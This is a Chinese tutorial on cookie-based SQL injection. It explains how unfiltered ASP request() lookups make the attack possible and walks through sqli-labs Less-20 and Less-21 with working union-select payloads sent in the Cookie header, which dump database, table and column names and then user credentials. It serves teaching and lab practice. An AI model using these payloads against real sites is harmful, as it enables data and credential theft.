Cookie注入攻击
我们知道,一般的防注入程序都是基于“黑名单”的,根据特征字符串去过滤掉一些危险的字符。一般情况下,黑名单是不安全的,它存在被绕过的风险。比如有的防注入程序只过滤了通过GET、POST方式提交的数据,对通过Cookie方式提交的数据却并没有过滤,我们可以使用Cookie注入攻击。简单说, cookie是服务器给客户端的一种加密凭证,通常由客户端存储在本地,比如客户A 访问 XXXX.com,网页给了客户A一个123的凭证,客户B也去访问那个网址,网站给B一个456的凭证,以后A和B去访问那个网站的时候只要加上了那个凭证网站就可以把两个人分开了。
cookie注入原理
Cookie最先是由Netscape(网景)公司提出的,Netscape官方文档中对Cookie的定义是这样的:Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一种方式。
Cookie的用途非常广泛,在网络中经常可以见到Cookie的身影。它通常被用来辨别用户身份、进行session跟踪,最典型的应用就是保存用户的账号和密码用来自动登录网站和电子商务网站中的“购物车”。
Cookie注入简单来说就是利用Cookie而发起的注入攻击。从本质上来讲,Cookie注入与传统的SQL注入并无不同,两者都是针对数据库的注入,只是表现形式上略有不同罢了。
要想深入了解Cookie注入的成因,必须要了解ASP脚本中的request对象。它被用来获取客户端提交的数据。
Request对象的使用方法一般是这样的:request.[集合名称](参数名称),比如获取从表单中提交的数据时可以这样写:request.form(“参数名称”),但ASP中规定也可以省略集合名称,直接用这样的方式获取数据:request(“参数名称”),当使用这样的方式获取数据时,ASP规定是按QueryString、Form、Cookies、ServerVariables的顺序来获取数据的。这样,当我们使用request(“参数名称”)方式获取客户端提交的数据,并且没有对使用request.cookies(“参数名称”)方式提交的数据进行过滤时,Cookie注入就产生了。
cookie注入典型步骤
如何确定一个网站是否存在Cookie注入漏洞。
n 寻找形如“.asp?id=xx”类的带参数的URL。
n 去掉“id=xx”查看页面显示是否正常,如果不正常,说明参数在数据传递中是直接起作用的。如果正常,则说明使用cookie作为参数传递。
n 使用burp抓包并构造payload
n 使用常规注入语句进行注入即可。
cookie注入练习
1.Less-21 Cookie Injection- Error Based- complex - string
使用admin登录,在产生cookie后刷新页面并抓包,在burp里发现cookie被编码,所以采用编码绕过
爆库:-admin’) union select 1,2,database()#
依次用联合注入进行注入得到用户名和密码。
2.Less-20 POST - Cookie injections - Uagent field - Error based
使用admin去登录,在产生cookie后刷新页面用burp抓包
测试是否有注入在admin后加‘,发现报错一定存在注入。
使用order by测试出库列数为3,uname=-admin’ union select 1,2,3#判断输出位置
uname=-admin’ union select 1,database(),3#爆库名:security
uname=-admin’ union select 1,(select group_concat(table_name) from information_schema.columns where table_schema=‘security’),3#爆表名
查询列名:
Cookie: uname=-admin’ union select group_concat(column_name),database(),3 from information_schema.columns where table_name=‘users’ #;
然后查询用户名和密码:
Cookie: uname=-admin’ union select group_concat(username),group_concat(password),3 from security.users#;